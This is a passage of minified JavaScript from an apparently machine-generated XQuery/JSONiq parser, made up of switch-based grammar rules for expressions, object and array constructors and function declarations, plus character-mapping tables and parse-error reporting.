28295:case 28357:case 28415:case 29831:case 29893:case 29951:case 30343:case 30405:case 30463:case 31367:case 31429:case 31487:case 31879:case 31941:case 31999:case 32391:case 32453:case 32511:case 32903:case 32965:case 33023:case 35463:case 35525:case 35583:case 35975:case 36037:case 36095:case 36487:case 36549:case 36607:case 39047:case 39109:case 39167:case 41095:case 41157:case 41215:case 41607:case 41669:case 41727:case 42119:case 42181:case 42239:case 43655:case 43717:case 43775:case 45191:case 45253:case 45311:case 45703:case 45765:case 45823:case 46215:case 46277:case 46335:case 46727:case 46789:case 46847:case 48775:case 48837:case 48895:case 51335:case 51397:case 51455:case 54407:case 54469:case 54527:case 56455:case 56517:case 56575:case 58503:case 58565:case 58623:case 61063:case 61125:case 61183:case 63111:case 63173:case 63231:case 63623:case 63685:case 63743:case 65159:case 65221:case 65279:case 66183:case 66245:case 66303:case 67719:case 67781:case 67839:case 71303:case 71365:case 71423:case 75911:case 75973:case 76031:case 76935:case 76997:case 77055:case 77959:case 78021:case 78079:case 78471:case 78533:case 78591:case 83079:case 83141:case 83199:case 84103:case 84165:case 84223:case 84615:case 84677:case 84735:case 85127:case 85189:case 85247:case 89735:case 89797:case 89855:case 90759:case 90821:case 90879:case 92807:case 92869:case 92927:case 93831:case 93893:case 93951:case 94343:case 94405:case 94463:case 96903:case 96965:case 97023:case 103559:case 103621:case 103679:case 104583:case 104645:case 104703:case 105095:case 105157:case 105215:case 107143:case 107205:case 107263:case 114823:case 114885:case 114943:case 116871:case 116933:case 116991:case 121479:case 121541:case 121599:case 123527:case 123589:case 123647:case 124039:case 124101:case 124159:case 129159:case 129221:case 129279:case 129671:case 129733:case 129791:case 130183:case 130245:case 130303:case 133255:case 133317:case 133375:case 139399:case 139461:case 139519:case 141447:case 141509:case 141567:case 142983:case 143045:case 143103:case 145543:case 145605:case 145663:case 146055:case 146117:case 146175:case 146567:case 146629:case 146687:case 147079:case 147141:case 147199:di();break;case 31:Si();break;case 35:Ci();break;case 32:Li();break;case-5:case 17926:case 17991:case 17993:case 17994:case 17995:case 17996:case 17998:case 18e3:case 18001:case 18002:case 18004:case 18005:case 18006:case 18007:case 18009:case 18010:case 18011:case 18012:case 18014:case 18015:case 18018:case 18019:case 18022:case 18023:case 18024:case 18025:case 18026:case 18027:case 18029:case 18030:case 18031:case 18032:case 18033:case 18034:case 18039:case 18040:case 18043:case 18044:case 18046:case 18047:case 18049:case 18050:case 18052:case 18053:case 18054:case 18056:case 18057:case 18058:case 18059:case 18062:case 18063:case 18068:case 18070:case 18072:case 18073:case 18075:case 18076:case 18077:case 18081:case 18082:case 18083:case 18084:case 18085:case 18086:case 18088:case 18090:case 18093:case 18094:case 18095:case 18097:case 18099:case 18101:case 18103:case 18104:case 18105:case 18107:case 18109:case 18115:case 18118:case 18122:case 18123:case 18124:case 18125:case 18126:case 18127:case 18130:case 18136:case 18137:case 18142:case 18143:case 18144:case 18145:case 18146:case 18148:case 18149:case 18152:case 18153:case 18154:case 18159:case 18160:case 18161:case 18162:case 18165:case 18173:case 18174:case 18176:case 18177:case 18178:case 18180:case 18182:case 18183:case 18186:case 18187:case 18188:case 18189:case 18192:case 18193:case 18196:Pi();break;case 144078:Oi();break;case 144134:_i();break;case 33:case 79:case 121:case 125:case 147:case 154:case 167:case 169:case 188:case 194:case 230:case 231:case 247:case 248:case 259:case 14854:case 14919:case 14921:case 14922:case 14923:case 14924:case 14926:case 14928:case 14929:case 14930:case 14931:case 14932:case 14933:case 14934:case 14935:case 14937:case 14938:case 14939:case 14940:case 14942:case 14943:case 14945:case 14946:case 14947:case 14950:case 14951:case 14952:case 14953:case 14954:case 14955:case 14957:case 14958:case 14959:case 14960:case 14961:case 14962:case 14967:case 14968:case 14970:case 14971:case 14972:case 14974:case 14975:case 14977:case 14978:case 14980:case 14981:case 14982:case 14983:case 14984:case 14985:case 14986:case 14987:case 14990:case 14991:case 14996:case 14998:case 15e3:case 15001:case 15003:case 15004:case 15005:case 15009:case 15010:case 15011:case 15012:case 15013:case 15014:case 15016:case 15018:case 15021:case 15022:case 15023:case 15025:case 15027:case 15029:case 15031:case 15032:case 15033:case 15035:case 15037:case 15043:case 15045:case 15046:case 15050:case 15051:case 15052:case 15053:case 15054:case 15055:case 15058:case 15064:case 15065:case 15068:case 15070:case 15071:case 15072:case 15073:case 15074:case 15076:case 15077:case 15080:case 15081:case 15082:case 15087:case 15088:case 15089:case 15090:case 15093:case 15097:case 15101:case 15102:case 15103:case 15104:case 15105:case 15106:case 15108:case 15110:case 15111:case 15114:case 15115:case 15116:case 15117:case 15120:case 15121:case 15124:ys();break;case-10:case 27929:Ol();break;case-11:case 10009:Sl();break;case 69:Ll();break;case 283:wl();break;default:qi()}ic.endNonterminal(\"PrimaryExpr\",Vl)}function bl(){switch($l){case 187:ql(247);break;case 220:ql(245);break;case 281:ql(283);break;case 83:case 122:ql(253);break;case 97:case 249:ql(97);break;case 120:case 206:case 262:ql(148);break;case 135:case 197:case 255:ql(237);break;case 6:case 71:case 73:case 74:case 75:case 76:case 78:case 80:case 81:case 82:case 84:case 85:case 86:case 87:case 89:case 90:case 91:case 92:case 94:case 95:case 98:case 99:case 102:case 103:case 104:case 105:case 106:case 107:case 109:case 110:case 111:case 112:case 113:case 114:case 119:case 123:case 124:case 126:case 127:case 129:case 130:case 132:case 133:case 134:case 136:case 137:case 138:case 139:case 142:case 143:case 148:case 150:case 152:case 153:case 155:case 156:case 157:case 161:case 162:case 163:case 164:case 165:case 166:case 168:case 170:case 173:case 174:case 175:case 177:case 179:case 181:case 183:case 184:case 185:case 189:case 195:case 198:case 202:case 203:case 204:case 205:case 207:case 210:case 216:case 217:case 222:case 223:case 224:case 225:case 226:case 228:case 229:case 232:case 233:case 234:case 239:case 240:case 241:case 242:case 245:case 253:case 254:case 256:case 257:case 258:case 260:case 263:case 266:case 267:case 268:case 269:case 272:case 273:case 276:ql(95);break;default:Wl=$l}if(Wl==3353||Wl==4377||Wl==4889||Wl==5401||Wl==5913||Wl==16153||Wl==16665||Wl==17177||Wl==18055||Wl==18117||Wl==18175||Wl==18201||Wl==18713||Wl==21273||Wl==22297||Wl==24345||Wl==24857||Wl==28441||Wl==28953||Wl==31001||Wl==35609||Wl==36633||Wl==37657||Wl==38169||Wl==38681||Wl==39193||Wl==40217||Wl==40729||Wl==41241||Wl==41753||Wl==42265||Wl==42777||Wl==43289||Wl==43801||Wl==44313||Wl==44825||Wl==45849||Wl==46361||Wl==46873||Wl==47385||Wl==48409||Wl==48921||Wl==49945||Wl==50457||Wl==50969||Wl==52505||Wl==53017||Wl==53529||Wl==54041||Wl==54553||Wl==55065||Wl==56089||Wl==56601||Wl==57113||Wl==57625||Wl==58137||Wl==58649||Wl==61209||Wl==61721||Wl==62233||Wl==62745||Wl==63257||Wl==63769||Wl==64281||Wl==64793||Wl==65305||Wl==66329||Wl==66841||Wl==67865||Wl==68377||Wl==68889||Wl==69401||Wl==69913||Wl==70425||Wl==70937||Wl==71449||Wl==72985||Wl==73497||Wl==75545||Wl==76057||Wl==77081||Wl==78105||Wl==78617||Wl==79129||Wl==79641||Wl==80153||Wl==80665||Wl==82713||Wl==83225||Wl==83737||Wl==84249||Wl==84761||Wl==85273||Wl==85785||Wl==86297||Wl==86809||Wl==87321||Wl==88857||Wl==89369||Wl==89881||Wl==90905||Wl==91929||Wl==92953||Wl==93977||Wl==94489||Wl==95001||Wl==96025||Wl==96537||Wl==97049||Wl==99609||Wl==100121||Wl==100633||Wl==101145||Wl==101657||Wl==103705||Wl==104217||Wl==104729||Wl==105241||Wl==105753||Wl==106265||Wl==107801||Wl==110873||Wl==111385||Wl==112921||Wl==113945||Wl==114457||Wl==114969||Wl==115481||Wl==115993||Wl==117017||Wl==117529||Wl==118041||Wl==118553||Wl==119065||Wl==119577||Wl==120089||Wl==122649||Wl==123161||Wl==123673||Wl==124185||Wl==125721||Wl==126745||Wl==127257||Wl==127769||Wl==129817||Wl==130329||Wl==130841||Wl==131353||Wl==131865||Wl==132377||Wl==132889||Wl==133401||Wl==134425||Wl==134937||Wl==136473||Wl==136985||Wl==137497||Wl==138009||Wl==139545||Wl==140057||Wl==141593||Wl==144153||Wl==145177||Wl==147225){Wl=uc(20,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{vi(),oc(20,t,-1),Wl=-14}catch(a){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Hi(),oc(20,t,-5),Wl=-14}catch(f){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Ml(),oc(20,t,-10),Wl=-14}catch(l){Wl=-11,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(20,t,-11)}}}}}switch(Wl){case-1:case 8:case 9:case 10:case 11:case 12935:case 12997:case 13055:case 13447:case 13509:case 13567:case 13959:case 14021:case 14079:case 19591:case 19653:case 19711:case 20103:case 20165:case 20223:case 21127:case 21189:case 21247:case 21639:case 21701:case 21759:case 22151:case 22213:case 22271:case 23175:case 23237:case 23295:case 24199:case 24261:case 24319:case 24711:case 24773:case 24831:case 25735:case 25797:case 25855:case 27783:case 27845:case 27903:case 28295:case 28357:case 28415:case 29831:case 29893:case 29951:case 30343:case 30405:case 30463:case 31367:case 31429:case 31487:case 31879:case 31941:case 31999:case 32391:case 32453:case 32511:case 32903:case 32965:case 33023:case 35463:case 35525:case 35583:case 35975:case 36037:case 36095:case 36487:case 36549:case 36607:case 39047:case 39109:case 39167:case 41095:case 41157:case 41215:case 41607:case 41669:case 41727:case 42119:case 42181:case 42239:case 43655:case 43717:case 43775:case 45191:case 45253:case 45311:case 45703:case 45765:case 45823:case 46215:case 46277:case 46335:case 46727:case 46789:case 46847:case 48775:case 48837:case 48895:case 51335:case 51397:case 51455:case 54407:case 54469:case 54527:case 56455:case 56517:case 56575:case 58503:case 58565:case 58623:case 61063:case 61125:case 61183:case 63111:case 63173:case 63231:case 63623:case 63685:case 63743:case 65159:case 65221:case 65279:case 66183:case 66245:case 66303:case 67719:case 67781:case 67839:case 71303:case 71365:case 71423:case 75911:case 75973:case 76031:case 76935:case 76997:case 77055:case 77959:case 78021:case 78079:case 78471:case 78533:case 78591:case 83079:case 83141:case 83199:case 84103:case 84165:case 84223:case 84615:case 84677:case 84735:case 85127:case 85189:case 85247:case 89735:case 89797:case 89855:case 90759:case 90821:case 90879:case 92807:case 92869:case 92927:case 93831:case 93893:case 93951:case 94343:case 94405:case 94463:case 96903:case 96965:case 97023:case 103559:case 103621:case 103679:case 104583:case 104645:case 104703:case 105095:case 105157:case 105215:case 107143:case 107205:case 107263:case 114823:case 114885:case 114943:case 116871:case 116933:case 116991:case 121479:case 121541:case 121599:case 123527:case 123589:case 123647:case 124039:case 124101:case 124159:case 129159:case 129221:case 129279:case 129671:case 129733:case 129791:case 130183:case 130245:case 130303:case 133255:case 133317:case 133375:case 139399:case 139461:case 139519:case 141447:case 141509:case 141567:case 142983:case 143045:case 143103:case 145543:case 145605:case 145663:case 146055:case 146117:case 146175:case 146567:case 146629:case 146687:case 147079:case 147141:case 147199:vi();break;case 31:xi();break;case 35:ki();break;case 32:Ai();break;case-5:case 17926:case 17991:case 17993:case 17994:case 17995:case 17996:case 17998:case 18e3:case 18001:case 18002:case 18004:case 18005:case 18006:case 18007:case 18009:case 18010:case 18011:case 18012:case 18014:case 18015:case 18018:case 18019:case 18022:case 18023:case 18024:case 18025:case 18026:case 18027:case 18029:case 18030:case 18031:case 18032:case 18033:case 18034:case 18039:case 18040:case 18043:case 18044:case 18046:case 18047:case 18049:case 18050:case 18052:case 18053:case 18054:case 18056:case 18057:case 18058:case 18059:case 18062:case 18063:case 18068:case 18070:case 18072:case 18073:case 18075:case 18076:case 18077:case 18081:case 18082:case 18083:case 18084:case 18085:case 18086:case 18088:case 18090:case 18093:case 18094:case 18095:case 18097:case 18099:case 18101:case 18103:case 18104:case 18105:case 18107:case 18109:case 18115:case 18118:case 18122:case 18123:case 18124:case 18125:case 18126:case 18127:case 18130:case 18136:case 18137:case 18142:case 18143:case 18144:case 18145:case 18146:case 18148:case 18149:case 18152:case 18153:case 18154:case 18159:case 18160:case 18161:case 18162:case 18165:case 18173:case 18174:case 18176:case 18177:case 18178:case 18180:case 18182:case 18183:case 18186:case 18187:case 18188:case 18189:case 18192:case 18193:case 18196:Hi();break;case 144078:Mi();break;case 144134:Di();break;case 33:case 79:case 121:case 125:case 147:case 154:case 167:case 169:case 188:case 194:case 230:case 231:case 247:case 248:case 259:case 14854:case 14919:case 14921:case 14922:case 14923:case 14924:case 14926:case 14928:case 14929:case 14930:case 14931:case 14932:case 14933:case 14934:case 14935:case 14937:case 14938:case 14939:case 14940:case 14942:case 14943:case 14945:case 14946:case 14947:case 14950:case 14951:case 14952:case 14953:case 14954:case 14955:case 14957:case 14958:case 14959:case 14960:case 14961:case 14962:case 14967:case 14968:case 14970:case 14971:case 14972:case 14974:case 14975:case 14977:case 14978:case 14980:case 14981:case 14982:case 14983:case 14984:case 14985:case 14986:case 14987:case 14990:case 14991:case 14996:case 14998:case 15e3:case 15001:case 15003:case 15004:case 15005:case 15009:case 15010:case 15011:case 15012:case 15013:case 15014:case 15016:case 15018:case 15021:case 15022:case 15023:case 15025:case 15027:case 15029:case 15031:case 15032:case 15033:case 15035:case 15037:case 15043:case 15045:case 15046:case 15050:case 15051:case 15052:case 15053:case 15054:case 15055:case 15058:case 15064:case 15065:case 15068:case 15070:case 15071:case 15072:case 15073:case 15074:case 15076:case 15077:case 15080:case 15081:case 15082:case 15087:case 15088:case 15089:case 15090:case 15093:case 15097:case 15101:case 15102:case 15103:case 15104:case 15105:case 15106:case 15108:case 15110:case 15111:case 15114:case 15115:case 15116:case 15117:case 15120:case 15121:case 15124:bs();break;case-10:case 27929:Ml();break;case-11:case 10009:xl();break;case 69:Al();break;case 283:El();break;case-14:break;default:Ri()}}function wl(){ic.startNonterminal(\"JSONSimpleObjectUnion\",Vl),Pl(283),Il(274),$l!=286&&(jl(),G()),Pl(286),ic.endNonterminal(\"JSONSimpleObjectUnion\",Vl)}function El(){Hl(283),Il(274),$l!=286&&Y(),Hl(286)}function Sl(){ic.startNonterminal(\"ObjectConstructor\",Vl),Pl(281),Il(277),$l!=287&&(jl(),Tl()),Pl(287),ic.endNonterminal(\"ObjectConstructor\",Vl)}function xl(){Hl(281),Il(277),$l!=287&&Nl(),Hl(287)}function Tl(){ic.startNonterminal(\"PairConstructorList\",Vl),Cl();for(;;){if($l!=42)break;Pl(42),Il(268),jl(),Cl()}ic.endNonterminal(\"PairConstructorList\",Vl)}function Nl(){kl();for(;;){if($l!=42)break;Hl(42),Il(268),kl()}}function Cl(){ic.startNonterminal(\"PairConstructor\",Vl);switch($l){case 78:ql(279);break;case 139:ql(187);break;case 161:ql(282);break;case 177:ql(178);break;case 187:ql(252);break;case 220:ql(248);break;case 223:ql(180);break;case 266:ql(191);break;case 83:case 122:ql(257);break;case 97:case 249:ql(149);break;case 111:case 222:ql(262);break;case 104:case 130:case 240:ql(165);break;case 135:case 197:case 255:ql(209);break;case 120:case 206:case 256:case 262:ql(167);break;case 121:case 125:case 167:case 188:case 194:case 230:case 231:ql(96);break;case 71:case 73:case 74:case 75:case 76:case 80:case 81:case 82:case 84:case 85:case 86:case 87:case 89:case 90:case 91:case 92:case 94:case 95:case 98:case 99:case 102:case 103:case 105:case 106:case 107:case 109:case 110:case 112:case 113:case 114:case 119:case 123:case 124:case 126:case 127:case 129:case 132:case 133:case 134:case 136:case 137:case 138:case 142:case 143:case 147:case 148:case 150:case 152:case 153:case 154:case 155:case 156:case 157:case 162:case 163:case 164:case 165:case 166:case 168:case 170:case 173:case 174:case 175:case 179:case 181:case 183:case 184:case 185:case 189:case 195:case 198:case 202:case 203:case 204:case 205:case 207:case 210:case 216:case 217:case 224:case 225:case 226:case 228:case 229:case 232:case 233:case 234:case 239:case 241:case 242:case 245:case 248:case 253:case 254:case 257:case 258:case 259:case 260:case 263:case 267:case 268:case 269:case 272:case 273:case 276:ql(144);break;default:Wl=$l}if(Wl==25735||Wl==25797||Wl==25855){Wl=uc(21,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Xf(),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(21,Vl,Wl)}}switch(Wl){case-2:case 19:case 25671:case 25673:case 25674:case 25675:case 25676:case 25678:case 25680:case 25681:case 25682:case 25683:case 25684:case 25685:case 25686:case 25687:case 25689:case 25690:case 25691:case 25692:case 25694:case 25695:case 25697:case 25698:case 25699:case 25702:case 25703:case 25704:case 25705:case 25706:case 25707:case 25709:case 25710:case 25711:case 25712:case 25713:case 25714:case 25719:case 25720:case 25721:case 25722:case 25723:case 25724:case 25725:case 25726:case 25727:case 25729:case 25730:case 25732:case 25733:case 25734:case 25736:case 25737:case 25738:case 25739:case 25742:case 25743:case 25747:case 25748:case 25750:case 25752:case 25753:case 25754:case 25755:case 25756:case 25757:case 25761:case 25762:case 25763:case 25764:case 25765:case 25766:case 25767:case 25768:case 25770:case 25773:case 25774:case 25775:case 25777:case 25779:case 25781:case 25783:case 25784:case 25785:case 25787:case 25788:case 25789:case 25794:case 25795:case 25798:case 25802:case 25803:case 25804:case 25805:case 25806:case 25807:case 25810:case 25816:case 25817:case 25820:case 25822:case 25823:case 25824:case 25825:case 25826:case 25828:case 25829:case 25830:case 25831:case 25832:case 25833:case 25834:case 25839:case 25840:case 25841:case 25842:case 25845:case 25848:case 25849:case 25853:case 25854:case 25856:case 25857:case 25858:case 25859:case 25860:case 25862:case 25863:case 25866:case 25867:case 25868:case 25869:case 25872:case 25873:case 25876:Ga();break;default:Wf()}Il(26),Pl(50),Il(267),jl(),Wf(),ic.endNonterminal(\"PairConstructor\",Vl)}function kl(){switch($l){case 78:ql(279);break;case 139:ql(187);break;case 161:ql(282);break;case 177:ql(178);break;case 187:ql(252);break;case 220:ql(248);break;case 223:ql(180);break;case 266:ql(191);break;case 83:case 122:ql(257);break;case 97:case 249:ql(149);break;case 111:case 222:ql(262);break;case 104:case 130:case 240:ql(165);break;case 135:case 197:case 255:ql(209);break;case 120:case 206:case 256:case 262:ql(167);break;case 121:case 125:case 167:case 188:case 194:case 230:case 231:ql(96);break;case 71:case 73:case 74:case 75:case 76:case 80:case 81:case 82:case 84:case 85:case 86:case 87:case 89:case 90:case 91:case 92:case 94:case 95:case 98:case 99:case 102:case 103:case 105:case 106:case 107:case 109:case 110:case 112:case 113:case 114:case 119:case 123:case 124:case 126:case 127:case 129:case 132:case 133:case 134:case 136:case 137:case 138:case 142:case 143:case 147:case 148:case 150:case 152:case 153:case 154:case 155:case 156:case 157:case 162:case 163:case 164:case 165:case 166:case 168:case 170:case 173:case 174:case 175:case 179:case 181:case 183:case 184:case 185:case 189:case 195:case 198:case 202:case 203:case 204:case 205:case 207:case 210:case 216:case 217:case 224:case 225:case 226:case 228:case 229:case 232:case 233:case 234:case 239:case 241:case 242:case 245:case 248:case 253:case 254:case 257:case 258:case 259:case 260:case 263:case 267:case 268:case 269:case 272:case 273:case 276:ql(144);break;default:Wl=$l}if(Wl==25735||Wl==25797||Wl==25855){Wl=uc(21,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Xf(),oc(21,t,-1),Wl=-3}catch(a){Wl=-2,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(21,t,-2)}}}switch(Wl){case-2:case 19:case 25671:case 25673:case 25674:case 25675:case 25676:case 25678:case 25680:case 25681:case 25682:case 25683:case 25684:case 25685:case 25686:case 25687:case 25689:case 25690:case 25691:case 25692:case 25694:case 25695:case 25697:case 25698:case 25699:case 25702:case 25703:case 25704:case 25705:case 25706:case 25707:case 25709:case 25710:case 25711:case 25712:case 25713:case 25714:case 25719:case 25720:case 25721:case 25722:case 25723:case 25724:case 25725:case 25726:case 25727:case 25729:case 25730:case 25732:case 25733:case 25734:case 25736:case 25737:case 25738:case 25739:case 25742:case 25743:case 25747:case 25748:case 25750:case 25752:case 25753:case 25754:case 25755:case 25756:case 25757:case 25761:case 25762:case 25763:case 25764:case 25765:case 25766:case 25767:case 25768:case 25770:case 25773:case 25774:case 25775:case 25777:case 25779:case 25781:case 25783:case 25784:case 25785:case 25787:case 25788:case 25789:case 25794:case 25795:case 25798:case 25802:case 25803:case 25804:case 25805:case 25806:case 25807:case 25810:case 25816:case 25817:case 25820:case 25822:case 25823:case 25824:case 25825:case 25826:case 25828:case 25829:case 25830:case 25831:case 25832:case 25833:case 25834:case 25839:case 25840:case 25841:case 25842:case 25845:case 25848:case 25849:case 25853:case 25854:case 25856:case 25857:case 25858:case 25859:case 25860:case 25862:case 25863:case 25866:case 25867:case 25868:case 25869:case 25872:case 25873:case 25876:Ya();break;case-3:break;default:Xf()}Il(26),Hl(50),Il(267),Xf()}function Ll(){ic.startNonterminal(\"ArrayConstructor\",Vl),Pl(69),Il(273),$l!=70&&(jl(),G()),Pl(70),ic.endNonterminal(\"ArrayConstructor\",Vl)}function Al(){Hl(69),Il(273),$l!=70&&Y(),Hl(70)}function Ol(){ic.startNonterminal(\"BlockExpr\",Vl),Pl(281),Il(281),jl(),of(),Pl(287),ic.endNonterminal(\"BlockExpr\",Vl)}function Ml(){Hl(281),Il(281),uf(),Hl(287)}function _l(){ic.startNonterminal(\"FunctionDecl\",Vl),Pl(147),Il(246),jl(),$a(),Il(22),Pl(35),Il(98),$l==31&&(jl(),U()),Pl(38),Il(158),$l==80&&(jl(),Dl()),Il(122);switch($l){case 281:Pl(281),Il(281),jl(),of(),Pl(287);break;default:Pl(134)}ic.endNonterminal(\"FunctionDecl\",Vl)}function Dl(){ic.startNonterminal(\"ReturnType\",Vl),Pl(80),Il(254),jl(),Ls(),ic.endNonterminal(\"ReturnType\",Vl)}function Pl(e){$l==e?(jl(),ic.terminal(i.TOKEN[$l],Jl,Kl>fc?fc:Kl),Xl=Jl,Vl=Kl,$l=Ql,$l!=0&&(Jl=Gl,Kl=Yl,Ql=0)):zl(Jl,Kl,0,$l,e)}function Hl(e){$l==e?(Xl=Jl,Vl=Kl,$l=Ql,$l!=0&&(Jl=Gl,Kl=Yl,Ql=0)):zl(Jl,Kl,0,$l,e)}function Bl(e){var t=Xl,n=Vl,r=$l,i=Jl,s=Kl;$l=e,Jl=lc,Kl=cc,Ql=0,Va(),Xl=t,Vl=n,$l=r,$l!=0&&(Jl=i,Kl=s)}function jl(){Vl!=Jl&&(Xl=Vl,Vl=Jl,ic.whitespace(Xl,Vl))}function Fl(e){var t;for(;;){t=hc(e);if(t!=22){if(t!=37)break;Bl(t)}}return t}function Il(e){$l==0&&($l=Fl(e),Jl=lc,Kl=cc)}function ql(e){Ql==0&&(Ql=Fl(e),Gl=lc,Yl=cc),Wl=Ql<<9|$l}function Rl(e){$l==0&&($l=hc(e),Jl=lc,Kl=cc)}function Ul(e){Ql==0&&(Ql=hc(e),Gl=lc,Yl=cc),Wl=Ql<<9|$l}function zl(e,t,r,i,s){throw t>ec&&(Zl=e,ec=t,tc=r,nc=i,rc=s),new n.ParseException(Zl,ec,tc,nc,rc)}function oc(e,t,n){sc[(t<<5)+e]=n}function uc(e,t){var n=sc[(t<<5)+e];return typeof n!=\"undefined\"?n:0}function hc(e){var t=!1;lc=cc;var n=cc,r=i.INITIAL[e],s=0;for(var o=r&8191;o!=0;){var u,a=n<fc?ac.charCodeAt(n):0;++n;if(a<128)u=i.MAP0[a];else if(a<55296){var f=a>>4;u=i.MAP1[(a&15)+i.MAP1[(f&31)+i.MAP1[f>>5]]]}else{if(a<56320){var f=n<fc?ac.charCodeAt(n):0;f>=56320&&f<57344&&(++n,a=((a&1023)<<10)+(f&1023)+65536,t=!0)}var l=0,c=5;for(var h=3;;h=c+l>>1){if(i.MAP2[h]>a)c=h-1;else{if(!(i.MAP2[6+h]<a)){u=i.MAP2[12+h];break}l=h+1}if(l>c){u=0;break}}}s=o;var p=(u<<13)+o-1;o=i.TRANSITION[(p&15)+i.TRANSITION[p>>4]],o>8191&&(r=o,o&=8191,cc=n)}r>>=13;if(r==0){cc=n-1;var f=cc<fc?ac.charCodeAt(cc):0;return f>=56320&&f<57344&&--cc,zl(lc,cc,s,-1,-1)}if(t)for(var d=r>>9;d>0;--d){--cc;var f=cc<fc?ac.charCodeAt(cc):0;f>=56320&&f<57344&&--cc}else cc-=r>>9;return(r&511)-1}r(e,t);var n=this;this.ParseException=function(e,t,n,r,i){var s=e,o=t,u=n,a=r,f=i;this.getBegin=function(){return s},this.getEnd=function(){return o},this.getState=function(){return u},this.getExpected=function(){return f},this.getOffending=function(){return a},this.getMessage=function(){return a<0?\"lexical analysis failed\":\"syntax error\"}},this.getInput=function(){return ac},this.getOffendingToken=function(e){var t=e.getOffending();return t>=0?i.TOKEN[t]:null},this.getExpectedTokenSet=function(e){var t;return e.getExpected()<0?t=i.getTokenSet(-e.getState()):t=[i.TOKEN[e.getExpected()]],t},this.getErrorMessage=function(e){var t=this.getExpectedTokenSet(e),n=this.getOffendingToken(e),r=ac.substring(0,e.getBegin()),i=r.split(\"\\n\"),s=i.length,o=i[s-1].length+1,u=e.getEnd()-e.getBegin();return e.getMessage()+(n==null?\"\":\", found \"+n)+\"\\nwhile expecting \"+(t.length==1?t[0]:\"[\"+t.join(\", \")+\"]\")+\"\\n\"+(u==0||n!=null?\"\":\"after successfully scanning \"+u+\" characters beginning \")+\"at line \"+s+\", column \"+o+\":\\n...\"+ac.substring(e.getBegin(),Math.min(ac.length,e.getBegin()+64))+\"...\"},this.parse_XQuery=function(){ic.startNonterminal(\"XQuery\",Vl),Il(278),jl(),o(),Pl(25),ic.endNonterminal(\"XQuery\",Vl)};var Wl,Xl,Vl,$l,Jl,Kl,Ql,Gl,Yl,Zl,ec,tc,nc,rc,ic,sc,ac,fc,lc,cc};r.getTokenSet=function(e){var t=[],n=e<0?-e:INITIAL[e]&8191;for(var i=0;i<289;i+=32){var s=i,o=(i>>5)*4317+n-1,u=o>>2,a=u>>2,f=r.EXPECTED[(o&3)+r.EXPECTED[(u&3)+r.EXPECTED[(a&15)+r.EXPECTED[a>>4]]]];for(;f!=0;f>>>=1,++s)(f&1)!=0&&t.push(r.TOKEN[s])}return t},r.MAP0=[71,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,17,17,17,17,17,17,17,17,17,18,19,20,21,22,23,24,25,26,27,28,29,26,30,30,30,30,30,31,32,33,30,30,34,30,30,35,30,30,30,36,30,30,37,38,39,40,30,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,40,40],r.MAP1=[108,124,214,214,214,214,214,214,214,214,214,214,214,214,214,214,156,181,181,181,181,181,214,215,213,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,247,261,277,293,309,355,371,387,423,423,423,415,339,331,339,331,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,440,440,440,440,440,440,440,324,339,339,339,339,339,339,339,339,401,423,423,424,422,423,423,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,338,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,423,71,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,17,17,17,17,17,17,17,17,17,18,19,20,21,22,23,24,25,26,27,28,29,26,30,30,30,30,30,31,32,33,30,30,30,30,30,30,30,30,30,30,30,30,30,30,40,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,34,30,30,35,30,30,30,36,30,30,37,38,39,40,30,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,40,40,40,40,40,40,40,40,40,40,40,40,30,30,40,40,40,40,40,40,40,70,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70],r.MAP2=[57344,63744,64976,65008,65536,983040,63743,64975,65007,65533,983039,1114111,40,30,40,30,30,40],r.INITIAL=[1,24578,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,1